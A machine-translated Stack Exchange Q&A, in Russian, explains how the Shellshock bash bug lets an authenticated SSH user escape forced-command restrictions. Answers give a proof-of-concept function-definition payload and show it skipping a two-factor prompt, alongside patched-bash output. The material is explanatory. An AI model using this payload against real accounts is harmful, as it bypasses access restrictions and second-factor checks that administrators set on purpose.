как можно использовать шеллшок через SSH?

68

По-видимому, эксплойт Bash Shellhock Bash CVE-2014-6271 можно использовать по сети через SSH. Я могу представить, как эксплойт будет работать через Apache / CGI, но я не могу представить, как это будет работать через SSH?

Может кто-нибудь привести пример использования SSH и какой вред может быть нанесен системе?

ПОЯСНЕНИЯ

AFAIU, только аутентифицированный пользователь может использовать эту уязвимость через SSH. Какая польза от этого эксплойта для кого-то, кто имеет законный доступ к системе? Я имею в виду, что у этого эксплойта нет повышения привилегий (он не может стать пользователем root), поэтому он может сделать не больше, чем мог бы сделать, просто войдя в систему с помощью SSH.

Мартин Вегтер
источник
Проще говоря, это невозможно сделать, если кто-то уже не имеет доступа к вашему ящику. Новая оболочка bash запускается только после успешной попытки входа в систему.
Эверт
Это все в основном шумиха вокруг СМИ, это может случиться, но это не так плохо, как кажется.
jgr208
Идут ли имена пользователей дословно в журналы? Если да, возможно, существует сценарий bash для синтаксического анализа, который где-то уязвим ...
PlasmaHH
1
@PlasmaHH Если вы запустите скрипт синтаксического анализа журнала как root, вы заслуживаете того, что получили.
Бармар
@ Barar: кроме того, что вопрос заключается не только в получении root-доступа, но и в доступе к машине (это может быть все, что необходимо, например, для его порчи или другого вреда), когда вы можете запускать код, есть вероятность, что вы также можете Запустите код, который использует что-то еще, что дает вам root.
PlasmaHH

Ответы:

79

Один из примеров, где это можно использовать, - на серверах с authorized_keysпринудительной командой. При добавлении записи в ~/.ssh/authorized_keys, вы можете предварить линию , command="foo"чтобы заставить fooбыть запущен в любое время , что SSH используется открытый ключ. С помощью этого эксплойта, если установлена ​​оболочка целевого пользователя bash, они могут использовать этот эксплойт для запуска вещей, отличных от команды, которой они вынуждены.

Это, вероятно, имеет больше смысла в примере, поэтому вот пример:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Здесь мы настраиваем пользователя testuser, который принудительно запускает любые соединения ssh, используя ваш ключ ssh echo starting sleep; sleep 1.

Мы можем проверить это с:

$ ssh testuser@localhost echo something else
starting sleep

Обратите внимание, что наша команда не запускается echo something else, но starting sleepпоказывает, что принудительная команда действительно выполнялась.

Теперь давайте покажем, как можно использовать этот эксплойт:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Это работает, потому что sshdустанавливает SSH_ORIGINAL_COMMANDпеременную среды для переданной команды. Так что даже если sshdпобежал sleep, а не команда , которую я рассказал это, из - за подвиг, мой код до сих пор получает бежать.

Патрик
источник
1
попробуйте это вместо этого: ssh testuser@localhost echo something else '`whoami`' чтобы доказать, где выполняется команда
Ричард
1
Я хотел бы добавить к этому ответу, что с точки зрения SSH, эксплойт позволяет только авторизованному пользователю с авторизованным ключом (авторизованный ключ может рассматриваться как длинный пароль) запускать команды, которые он обычно не авторизован для запуска. Это не позволяет кому-либо без этого авторизованного ключа что-либо делать. Я не думаю, что это ясно из ответа, если у вас нет приличного понимания SSH и значения authorized_key.
Крис Дракон,
@skrewler Обычно это хороший знак, что вы что-то неправильно понимаете. Например, ответ объясняет, как, если бы testuser получил заданную настройку учетной записи от администратора, как testuser смог бы избежать ограничений, которые ему были даны. И нет, никакое участие в bash не означает, что вы можете использовать шеллшок. Только когда bash работает с разрешениями, которые пользователь обычно не имеет, но он может влиять на переменные окружения этого bash.
Патрик
Хорошо, я получил то, что вы пытаетесь показать сейчас - настройку, которая ограничивает testuser командой в .authorized_keys, а не оболочкой входа. Для меня не имело никакого смысла редактировать ваши собственные .authorized_keys с записью, которая выполняет команду, когда у вас уже был доступ к оболочке (так как это не обеспечивало бы выполнение привилегий) edit: удаленный комментарий, я исправлен.
Skrewler
26

Расширяя пример из Ramesh - если вы используете двухфакторную аутентификацию, можно обойти второй фактор, используя этот эксплойт, в зависимости от того, как он реализован.

- Нормальный логин -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Запуск кода без 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Вы заметите, что он запускает код без запроса 2FA.

- После исправления Bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Эрик Румер
источник
1
Просто чтобы ограничить панику возможных читателей, используя второй фактор: «в зависимости от того, как он реализован» - я полагаю, вы предполагали, что второй фактор здесь реализован в bash или использует readфункцию. В противном случае - пользователь в безопасности.
Гжегож Вежовецкий
25

Shellshock - это уязвимость в bash, а не в SSH. Чтобы использовать его, злоумышленнику необходимо заставить уязвимую систему запустить bash и контролировать значение переменной среды, которая будет передана bash.

Чтобы достичь процесса bash через SSH, злоумышленнику необходимо пройти этапы аутентификации. (Возможны векторы атак через другие сетевые сервисы, но они выходят за рамки этого потока.) Если учетной записи разрешено выполнять произвольные команды оболочки, атаки не происходит. Уязвимость вступает в игру, если учетная запись ограничена для выполнения определенных команд: например, учетной записи только SFTP или учетной записи только git и т. Д.

Есть несколько способов ограничить учетную запись для запуска определенной команды с SSH: с ForceCommandпараметром в sshd_configили с command=. ограничение в authorized_keysфайле. Если оболочкой пользователя является bash, то уязвимость Shellshock позволяет пользователю, который обычно имеет доступ только к ограниченной учетной записи, обойти ограничение и выполнить произвольные команды.

Жиль "ТАК - перестань быть злым"
источник
И это НЕ работает для других оболочек, как zsh.
Эйр Ним